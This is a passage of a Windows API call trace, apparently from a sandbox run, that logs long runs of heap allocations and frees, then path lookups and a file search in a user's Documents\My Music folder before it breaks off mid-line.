[0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.141] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.142] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.142] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.143] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.143] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.144] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.144] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.145] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.146] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.146] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.147] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.147] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.148] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.148] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.148] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.148] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.148] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.148] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.148] PathFindFileNameW (pszPath="") returned="" [0121.148] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.149] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 0xffffffff [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.149] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.149] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.149] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.149] HeapFree (in: hHeap=0x5e0000, 